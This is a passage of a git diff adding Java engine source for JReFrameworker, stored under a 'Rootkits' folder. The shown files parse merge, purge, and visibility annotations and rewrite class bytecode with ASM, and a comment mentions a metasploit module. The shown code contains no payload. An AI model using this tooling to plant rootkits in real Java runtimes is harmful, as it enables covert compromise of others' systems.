phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(VISIBILITY)){ + String valueString = (String) value; + visibilityValue = Visibility.getVisibilityFromString(valueString); + } + } + if(typeValue != null && visibilityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetTypes.add(new DefineTypeVisibilityAnnotation(phaseValue, className, visibilityValue)); + } + } + } + + public LinkedList getTargetTypes() { + return targetTypes; + } + + public LinkedList getTargetMethods() { + return targetMethods; + } + + public LinkedList getTargetFields() { + return targetFields; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/JREFAnnotationIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/JREFAnnotationIdentifier.java new file mode 100644 index 0000000..0821cf7 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/JREFAnnotationIdentifier.java @@ -0,0 +1,279 @@ +package com.jreframeworker.engine.identifiers; +import org.objectweb.asm.AnnotationVisitor; +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.Opcodes; + +public class JREFAnnotationIdentifier extends ClassVisitor { + + private static final String DEFINE_TYPE_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineType;"; + private static final String DEFINE_FIELD_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineField;"; + private static final String DEFINE_METHOD_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethod;"; + + private static final String MERGE_TYPE_ANNOTATION = "Lcom/jreframeworker/annotations/types/MergeType;"; + private static final String MERGE_METHOD_ANNOTATION = "Lcom/jreframeworker/annotations/methods/MergeMethod;"; + + private static final String PURGE_TYPE_ANNOTATION = "Lcom/jreframeworker/annotations/types/PurgeType;"; + private static final String PURGE_TYPES_ANNOTATION = "Lcom/jreframeworker/annotations/types/PurgeTypes;"; + private static final String PURGE_FIELD_ANNOTATION = "Lcom/jreframeworker/annotations/fields/PurgeField;"; + private static final String PURGE_FIELDS_ANNOTATION = "Lcom/jreframeworker/annotations/fields/PurgeFields;"; + private static final String PURGE_METHOD_ANNOTATION = "Lcom/jreframeworker/annotations/methods/PurgeMethod;"; + private static final String PURGE_METHODS_ANNOTATION = "Lcom/jreframeworker/annotations/methods/PurgeMethods;"; + + private static final String DEFINE_TYPE_FINALITY_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeFinality;"; + private static final String DEFINE_TYPE_FINALITIES_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeFinalities;"; + private static final String DEFINE_FIELD_FINALITY_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldFinality;"; + private static final String DEFINE_FIELD_FINALITIES_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldFinalities;"; + private static final String DEFINE_METHOD_FINALITY_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodFinality;"; + private static final String DEFINE_METHOD_FINALITIES_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodFinalities;"; + + private static final String DEFINE_TYPE_VISIBILITY_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeVisibility;"; + private static final String DEFINE_TYPE_VISIBILITIES_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeVisibilities;"; + private static final String DEFINE_FIELD_VISIBILITY_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldVisibility;"; + private static final String DEFINE_FIELD_VISIBILITIES_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldVisibilities;"; + private static final String DEFINE_METHOD_VISIBILITY_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodVisibility;"; + private static final String DEFINE_METHOD_VISIBILITIES_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodVisibilities;"; + + private boolean isDefineTypeAnnotation = false; + private boolean isDefineFieldAnnotation = false; + private boolean isDefineMethodAnnotation = false; + + private boolean isMergeTypeAnnotation = false; + private boolean isMergeMethodAnnotation = false; + + private boolean isPurgeTypeAnnotation = false; + private boolean isPurgeTypesAnnotation = false; + private boolean isPurgeFieldAnnotation = false; + private boolean isPurgeFieldsAnnotation = false; + private boolean isPurgeMethodAnnotation = false; + private boolean isPurgeMethodsAnnotation = false; + + private boolean isDefineTypeFinalityAnnotation = false; + private boolean isDefineTypeFinalitiesAnnotation = false; + private boolean isDefineFieldFinalityAnnotation = false; + private boolean isDefineFieldFinalitiesAnnotation = false; + private boolean isDefineMethodFinalityAnnotation = false; + private boolean isDefineMethodFinalitiesAnnotation = false; + + private boolean isDefineTypeVisibilityAnnotation = false; + private boolean isDefineTypeVisibilitiesAnnotation = false; + private boolean isDefineFieldVisibilityAnnotation = false; + private boolean isDefineFieldVisibilitiesAnnotation = false; + private boolean isDefineMethodVisibilityAnnotation = false; + private boolean isDefineMethodVisibilitiesAnnotation = false; + + public JREFAnnotationIdentifier() { + super(Opcodes.ASM5); + } + + @Override + public AnnotationVisitor visitAnnotation(String name, boolean visible) { + // System.out.println("Annotation: " + name); + if (name.equals(DEFINE_TYPE_ANNOTATION)) { + isDefineTypeAnnotation = true; + } else if (name.equals(DEFINE_FIELD_ANNOTATION)) { + isDefineFieldAnnotation = true; + } else if (name.equals(DEFINE_METHOD_ANNOTATION)) { + isDefineMethodAnnotation = true; + } + + else if (name.equals(MERGE_TYPE_ANNOTATION)) { + isMergeTypeAnnotation = true; + } else if (name.equals(MERGE_METHOD_ANNOTATION)) { + isMergeMethodAnnotation = true; + } + + else if (name.equals(PURGE_TYPE_ANNOTATION)) { + isPurgeTypeAnnotation = true; + } else if (name.equals(PURGE_TYPES_ANNOTATION)) { + isPurgeTypesAnnotation = true; + } else if (name.equals(PURGE_FIELD_ANNOTATION)) { + isPurgeFieldAnnotation = true; + } else if (name.equals(PURGE_FIELDS_ANNOTATION)) { + isPurgeFieldsAnnotation = true; + } else if (name.equals(PURGE_METHOD_ANNOTATION)) { + isPurgeMethodAnnotation = true; + } else if (name.equals(PURGE_METHODS_ANNOTATION)) { + isPurgeMethodsAnnotation = true; + } + + else if (name.equals(DEFINE_TYPE_FINALITY_ANNOTATION)) { + isDefineTypeFinalityAnnotation = true; + } else if (name.equals(DEFINE_TYPE_FINALITIES_ANNOTATION)) { + isDefineTypeFinalitiesAnnotation = true; + } else if (name.equals(DEFINE_FIELD_FINALITY_ANNOTATION)) { + isDefineFieldFinalityAnnotation = true; + } else if (name.equals(DEFINE_FIELD_FINALITIES_ANNOTATION)) { + isDefineFieldFinalitiesAnnotation = true; + } else if (name.equals(DEFINE_METHOD_FINALITY_ANNOTATION)) { + isDefineMethodFinalityAnnotation = true; + } else if (name.equals(DEFINE_METHOD_FINALITIES_ANNOTATION)) { + isDefineMethodFinalitiesAnnotation = true; + } + + else if (name.equals(DEFINE_TYPE_VISIBILITY_ANNOTATION)) { + isDefineTypeVisibilityAnnotation = true; + } else if (name.equals(DEFINE_TYPE_VISIBILITIES_ANNOTATION)) { + isDefineTypeVisibilitiesAnnotation = true; + } else if (name.equals(DEFINE_FIELD_VISIBILITY_ANNOTATION)) { + isDefineFieldVisibilityAnnotation = true; + } else if (name.equals(DEFINE_FIELD_VISIBILITIES_ANNOTATION)) { + isDefineFieldVisibilitiesAnnotation = true; + } else if (name.equals(DEFINE_METHOD_VISIBILITY_ANNOTATION)) { + isDefineMethodVisibilityAnnotation = true; + } else if (name.equals(DEFINE_METHOD_VISIBILITIES_ANNOTATION)) { + isDefineMethodVisibilitiesAnnotation = true; + } + + return null; + } + + public boolean isDefineTypeAnnotation() { + return isDefineTypeAnnotation; + } + + public boolean isDefineFieldAnnotation() { + return isDefineFieldAnnotation; + } + + public boolean isDefineMethodAnnotation() { + return isDefineMethodAnnotation; + } + + public boolean isMergeTypeAnnotation() { + return isMergeTypeAnnotation; + } + + public boolean isMergeMethodAnnotation() { + return isMergeMethodAnnotation; + } + + public boolean isPurgeTypeAnnotation() { + return isPurgeTypeAnnotation; + } + + public boolean isPurgeTypesAnnotation() { + return isPurgeTypesAnnotation; + } + + public boolean isPurgeFieldAnnotation() { + return isPurgeFieldAnnotation; + } + + public boolean isPurgeFieldsAnnotation() { + return isPurgeFieldsAnnotation; + } + + public boolean isPurgeMethodAnnotation() { + return isPurgeMethodAnnotation; + } + + public boolean isPurgeMethodsAnnotation() { + return isPurgeMethodsAnnotation; + } + + public boolean isDefineTypeFinalityAnnotation() { + return isDefineTypeFinalityAnnotation; + } + + public boolean isDefineTypeFinalitiesAnnotation() { + return isDefineTypeFinalitiesAnnotation; + } + + public boolean isDefineFieldFinalityAnnotation() { + return isDefineFieldFinalityAnnotation; + } + + public boolean isDefineFieldFinalitiesAnnotation() { + return isDefineFieldFinalitiesAnnotation; + } + + public boolean isDefineMethodFinalityAnnotation() { + return isDefineMethodFinalityAnnotation; + } + + public boolean isDefineMethodFinalitiesAnnotation() { + return isDefineMethodFinalitiesAnnotation; + } + + public boolean isDefineTypeVisibilityAnnotation() { + return isDefineTypeVisibilityAnnotation; + } + + public boolean isDefineTypeVisibilitiesAnnotation() { + return isDefineTypeVisibilitiesAnnotation; + } + + public boolean isDefineFieldVisibilityAnnotation() { + return isDefineFieldVisibilityAnnotation; + } + + public boolean isDefineFieldVisibilitiesAnnotation() { + return isDefineFieldVisibilitiesAnnotation; + } + + public boolean isDefineMethodVisibilityAnnotation() { + return isDefineMethodVisibilityAnnotation; + } + + public boolean isDefineMethodVisibilitiesAnnotation() { + return isDefineMethodVisibilitiesAnnotation; + } + + public boolean isPurgeAnnotation(){ + return isPurgeTypeAnnotation + || isPurgeTypesAnnotation + || isPurgeMethodAnnotation + || isPurgeMethodsAnnotation + || isPurgeFieldAnnotation + || isPurgeFieldsAnnotation; + } + + public boolean isFinalityAnnotation(){ + return isDefineTypeFinalityAnnotation + || isDefineTypeFinalitiesAnnotation + || isDefineFieldFinalityAnnotation + || isDefineFieldFinalitiesAnnotation + || isDefineMethodFinalityAnnotation + || isDefineMethodFinalitiesAnnotation; + } + + public boolean isVisibilityAnnotation(){ + return isDefineTypeVisibilityAnnotation + || isDefineTypeVisibilitiesAnnotation + || isDefineFieldVisibilityAnnotation + || isDefineFieldVisibilitiesAnnotation + || isDefineMethodVisibilityAnnotation + || isDefineMethodVisibilitiesAnnotation; + } + + public boolean isJREFAnnotation(){ + return isDefineTypeAnnotation + || isDefineFieldAnnotation + || isDefineMethodAnnotation + + || isMergeTypeAnnotation + || isMergeMethodAnnotation + + || isPurgeTypeAnnotation + || isPurgeTypesAnnotation + || isPurgeFieldAnnotation + || isPurgeFieldsAnnotation + || isPurgeMethodAnnotation + || isPurgeMethodsAnnotation + + || isDefineTypeFinalityAnnotation + || isDefineTypeFinalitiesAnnotation + || isDefineFieldFinalityAnnotation + || isDefineFieldFinalitiesAnnotation + || isDefineMethodFinalityAnnotation + || isDefineMethodFinalitiesAnnotation + + || isDefineTypeVisibilityAnnotation + || isDefineTypeVisibilitiesAnnotation + || isDefineFieldVisibilityAnnotation + || isDefineFieldVisibilitiesAnnotation + || isDefineMethodVisibilityAnnotation + || isDefineMethodVisibilitiesAnnotation; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/MergeIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/MergeIdentifier.java new file mode 100644 index 0000000..0e1af53 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/MergeIdentifier.java @@ -0,0 +1,111 @@ +package com.jreframeworker.engine.identifiers; +import java.util.LinkedList; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodNode; + +public class MergeIdentifier { + + private static final String PHASE = "phase"; + private static final String SUPERTYPE = "supertype"; + + private MergeTypeAnnotation mergeTypeAnnotation = null; + private LinkedList mergeMethodAnnotations = new LinkedList(); + + public MergeIdentifier(ClassNode classNode) { + // types + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isMergeTypeAnnotation()){ + extractMergeTypeAnnotationValues(classNode, annotation); + } + } + } + + // methods + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + if (methodNode.invisibleAnnotations != null) { + for (Object annotationObject : methodNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isMergeMethodAnnotation()){ + extractMergeMethodAnnotationValues(methodNode, annotation); + } + } + } + } + } + + public static class MergeTypeAnnotation { + private int phase; + private String supertype; + + public MergeTypeAnnotation(int phase, String supertype) { + this.phase = phase; + this.supertype = supertype; + } + + public int getPhase(){ + return phase; + } + + public String getSupertype(){ + return supertype; + } + } + + public static class MergeMethodAnnotation { + private MethodNode methodNode; + + public MergeMethodAnnotation(MethodNode methodNode) { + this.methodNode = methodNode; + } + + public MethodNode getMethodNode(){ + return methodNode; + } + } + + private void extractMergeMethodAnnotationValues(MethodNode methodNode, AnnotationNode annotation){ + if(methodNode != null){ + mergeMethodAnnotations.add(new MergeMethodAnnotation(methodNode)); + } + } + + private void extractMergeTypeAnnotationValues(ClassNode classNode, AnnotationNode annotation){ + if(classNode != null){ + int phaseValue = 1; // default to 1 + String superTypeValue = null; + if(annotation.values != null){ + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(SUPERTYPE)){ + superTypeValue = ((String)value).replaceAll("\\.", "/"); + } + } + } + if(superTypeValue == null || superTypeValue.equals("")){ + superTypeValue = classNode.superName; + } + mergeTypeAnnotation = new MergeTypeAnnotation(phaseValue, superTypeValue); + } + } + + public MergeTypeAnnotation getMergeTypeAnnotation() { + return mergeTypeAnnotation; + } + + public LinkedList getMergeMethodAnnotations() { + return mergeMethodAnnotations; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/PurgeIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/PurgeIdentifier.java new file mode 100644 index 0000000..7fa92ef --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/identifiers/PurgeIdentifier.java @@ -0,0 +1,290 @@ +package com.jreframeworker.engine.identifiers; +import java.io.IOException; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; + +public class PurgeIdentifier { + + /** + * Returns a collection of qualified classes that are marked to be purged or contain + * classes, fields, or methods marked to be purged + * @param classNode + * @return + * @throws IOException + */ + public static Set getPurgeTargets(ClassNode classNode) throws IOException { + PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode); + Set targets = new HashSet(); + for(PurgeTypeAnnotation annotation : purgeIdentifier.getPurgeTypeAnnotations()){ + targets.add(annotation.getClassName()); + } + for(PurgeMethodAnnotation annotation : purgeIdentifier.getPurgeMethodAnnotations()){ + targets.add(annotation.getClassName()); + } + for(PurgeFieldAnnotation annotation : purgeIdentifier.getPurgeFieldAnnotations()){ + targets.add(annotation.getClassName()); + } + return targets; + } + + /** + * Returns a collection of qualified classes that are marked to be purged or contain + * classes, fields, or methods marked to be purged + * @param classNode + * @return + * @throws IOException + */ + public static Set getPurgeTargets(ClassNode classNode, int phase) throws IOException { + PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode); + Set targets = new HashSet(); + for(PurgeTypeAnnotation annotation : purgeIdentifier.getPurgeTypeAnnotations()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(PurgeMethodAnnotation annotation : purgeIdentifier.getPurgeMethodAnnotations()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(PurgeFieldAnnotation annotation : purgeIdentifier.getPurgeFieldAnnotations()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + return targets; + } + + private static final String PHASE = "phase"; + private static final String TYPE = "type"; + private static final String FIELD = "field"; + private static final String METHOD = "method"; + + public static class PurgeTypeAnnotation { + private int phase; + private String className; + + public PurgeTypeAnnotation(int phase, String className) { + this.phase = phase; + this.className = className; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + } + + public static class PurgeMethodAnnotation { + private int phase; + private String className; + private String methodName; + + public PurgeMethodAnnotation(int phase, String className, String methodName) { + this.phase = phase; + this.className = className; + this.methodName = methodName; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getMethodName(){ + return methodName; + } + } + + public static class PurgeFieldAnnotation { + private int phase; + private String className; + private String fieldName; + + public PurgeFieldAnnotation(int phase, String className, String fieldName) { + this.phase = phase; + this.className = className; + this.fieldName = fieldName; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getFieldName(){ + return fieldName; + } + } + + private LinkedList purgeTypeAnnotations = new LinkedList(); + private LinkedList purgeMethodAnnotations = new LinkedList(); + private LinkedList purgeFieldAnnotations = new LinkedList(); + + @SuppressWarnings("rawtypes") + public PurgeIdentifier(ClassNode classNode) { + // a purge annotation must be on a type, putting it on a field or a + // method is silly since you created it just to purge it + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // types + if(checker.isPurgeTypesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractPurgeTypeAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isPurgeTypeAnnotation()){ + extractPurgeTypeAnnotationValues(classNode, annotation); + } + + // methods + else if(checker.isPurgeMethodsAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractPurgeMethodValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isPurgeMethodAnnotation()){ + extractPurgeMethodValues(classNode, annotation); + } + + // fields + else if(checker.isPurgeFieldsAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractPurgeFieldValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isPurgeFieldAnnotation()){ + extractPurgeFieldValues(classNode, annotation); + } + } + } + } + + private void extractPurgeFieldValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String fieldValue = null; + + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FIELD)){ + fieldValue = (String) value; + } + } + if(typeValue != null && fieldValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + purgeFieldAnnotations.add(new PurgeFieldAnnotation(phaseValue, className, fieldValue)); + } + } + } + + private void extractPurgeMethodValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String methodValue = null; + + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(METHOD)){ + methodValue = (String) value; + } + } + if(typeValue != null && methodValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + purgeMethodAnnotations.add(new PurgeMethodAnnotation(phaseValue, className, methodValue)); + } + } + } + + private void extractPurgeTypeAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } + } + if(typeValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + purgeTypeAnnotations.add(new PurgeTypeAnnotation(phaseValue, className)); + } + } + } + + public LinkedList getPurgeTypeAnnotations() { + return purgeTypeAnnotations; + } + + public LinkedList getPurgeMethodAnnotations() { + return purgeMethodAnnotations; + } + + public LinkedList getPurgeFieldAnnotations() { + return purgeFieldAnnotations; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/log/Log.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/log/Log.java new file mode 100644 index 0000000..626f423 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/log/Log.java @@ -0,0 +1,34 @@ +package com.jreframeworker.engine.log; + +public class Log { + + public static void error(String message, Throwable e) { + log("Error", message, e); + } + + public static void warning(String message) { + warning(message, null); + } + + public static void warning(String message, Throwable e) { + log("Warning", message, e); + } + + public static void info(String message) { + info(message, null); + } + + public static void info(String message, Throwable e) { + log("Info", message, e); + } + + public static void log(String severity, String string, Throwable e) { + // TODO: enable logging after the metasploit module is made more robust +// if(e != null){ +// System.out.println(severity + ": " + string); +// e.printStackTrace(); +// } else { +// System.out.println(severity + ": " + string); +// } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/AnnotationUtils.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/AnnotationUtils.java new file mode 100644 index 0000000..05e16b2 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/AnnotationUtils.java @@ -0,0 +1,53 @@ +package com.jreframeworker.engine.utils; + +import java.util.List; + +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.MethodNode; + +public class AnnotationUtils { + + public static void clearTypeAnnotations(ClassNode clazz) { + // clear visible annotations + if(clazz.visibleAnnotations != null) clazz.visibleAnnotations.clear(); + if(clazz.visibleTypeAnnotations != null) clazz.visibleTypeAnnotations.clear(); + + // clear invisible annotations + if(clazz.invisibleAnnotations != null) clazz.invisibleAnnotations.clear(); + if(clazz.invisibleTypeAnnotations != null) clazz.invisibleTypeAnnotations.clear(); + } + + public static void clearFieldAnnotations(FieldNode field) { + // clear visible annotations + if(field.visibleAnnotations != null) field.visibleAnnotations.clear(); + if(field.visibleTypeAnnotations != null) field.visibleTypeAnnotations.clear(); + + // clear invisible annotations + if(field.invisibleAnnotations != null) field.invisibleAnnotations.clear(); + if(field.invisibleTypeAnnotations != null) field.invisibleTypeAnnotations.clear(); + } + + public static void clearMethodAnnotations(MethodNode method) { + // clear visible annotations + if(method.visibleAnnotations != null) method.visibleAnnotations.clear(); + if(method.visibleLocalVariableAnnotations != null) method.visibleLocalVariableAnnotations.clear(); + if(method.visibleTypeAnnotations != null) method.visibleTypeAnnotations.clear(); + if(method.visibleParameterAnnotations != null){ + for(@SuppressWarnings("rawtypes") List parameterAnnotations : method.visibleParameterAnnotations){ + parameterAnnotations.clear(); + } + } + + // clear invisible annotations + if(method.invisibleAnnotations != null) method.invisibleAnnotations.clear(); + if(method.invisibleLocalVariableAnnotations != null) method.invisibleLocalVariableAnnotations.clear(); + if(method.invisibleTypeAnnotations != null) method.invisibleTypeAnnotations.clear(); + if(method.invisibleParameterAnnotations != null){ + for(@SuppressWarnings("rawtypes") List parameterAnnotations : method.invisibleParameterAnnotations){ + parameterAnnotations.clear(); + } + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/BytecodeUtils.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/BytecodeUtils.java new file mode 100644 index 0000000..11f9ca3 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/BytecodeUtils.java @@ -0,0 +1,49 @@ +package com.jreframeworker.engine.utils; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassWriter; +import org.objectweb.asm.tree.ClassNode; + +public class BytecodeUtils { + + /** + * Writes a class to a byte array + * @param classNode + * @param classFile + * @throws IOException + */ + public static byte[] writeClass(ClassNode classNode) throws IOException { + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + classNode.accept(classWriter); + return classWriter.toByteArray(); + } + + /** + * Reads a bytecode class file into a ClassNode object + * @param classFile + * @return + * @throws IOException + */ + public static ClassNode getClassNode(File classFile) throws IOException { + byte[] bytes = Files.readAllBytes(classFile.toPath()); + return getClassNode(bytes); + } + + /** + * Reads a bytecode class file into a ClassNode object + * @param classFile + * @return + * @throws IOException + */ + public static ClassNode getClassNode(byte[] bytes) { + ClassReader classReader = new ClassReader(bytes); + ClassNode classNode = new ClassNode(); + classReader.accept(classNode, ClassReader.EXPAND_FRAMES); + return classNode; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/ClassLoaders.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/ClassLoaders.java new file mode 100644 index 0000000..e45bfbc --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/ClassLoaders.java @@ -0,0 +1,31 @@ +package com.jreframeworker.engine.utils; + +/** + * A class used to specify an ordered list of class loaders to be used by ASM + * + * @author Ben Holland + */ +public class ClassLoaders { + + /** + * A set of ordered class loaders to use when loading class definitions + */ + private static ClassLoader[] classLoaders = new ClassLoader[]{ ClassLoaders.class.getClassLoader() }; + + /** + * Returns an ordered set of class loaders to be used by ASM when loading class definitions + * @return + */ + public static ClassLoader[] getClassLoaders(){ + return classLoaders; + } + + /** + * Sets an ordered set of class loaders to be used by ASM when loading class definitions + * @return + */ + public static void setClassLoaders(ClassLoader... classLoaders){ + ClassLoaders.classLoaders = classLoaders; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/ClassLoadingClassWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/ClassLoadingClassWriter.java new file mode 100644 index 0000000..3534ed0 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/ClassLoadingClassWriter.java @@ -0,0 +1,51 @@ +package com.jreframeworker.engine.utils; + +import org.objectweb.asm.ClassReader; +import org.objectweb.asm.ClassWriter; + +public class ClassLoadingClassWriter extends ClassWriter { + + public ClassLoadingClassWriter(int flags) { + super(flags); + } + + public ClassLoadingClassWriter(ClassReader classReader, int flags) { + super(classReader, flags); + } + + @Override + protected String getCommonSuperClass(final String type1, final String type2) { + Class c = null; + Class d = null; + + for(ClassLoader classLoader : ClassLoaders.getClassLoaders()){ + try { + c = Class.forName(type1.replace('/', '.'), false, classLoader); + d = Class.forName(type2.replace('/', '.'), false, classLoader); + break; + } catch (Exception e) { + continue; + } + } + + if(c == null || d == null){ + throw new RuntimeException("Could not find common super class of: [type1=" + type1 + "], [type2=" + type2 + "]"); + } + + if (c.isAssignableFrom(d)) { + return type1; + } + if (d.isAssignableFrom(c)) { + return type2; + } + if (c.isInterface() || d.isInterface()) { + return "java/lang/Object"; + } else { + do { + c = c.getSuperclass(); + } while (!c.isAssignableFrom(d)); + return c.getName().replace('.', '/'); + } + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/JarModifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/JarModifier.java new file mode 100644 index 0000000..7a4819b --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/utils/JarModifier.java @@ -0,0 +1,466 @@ +package 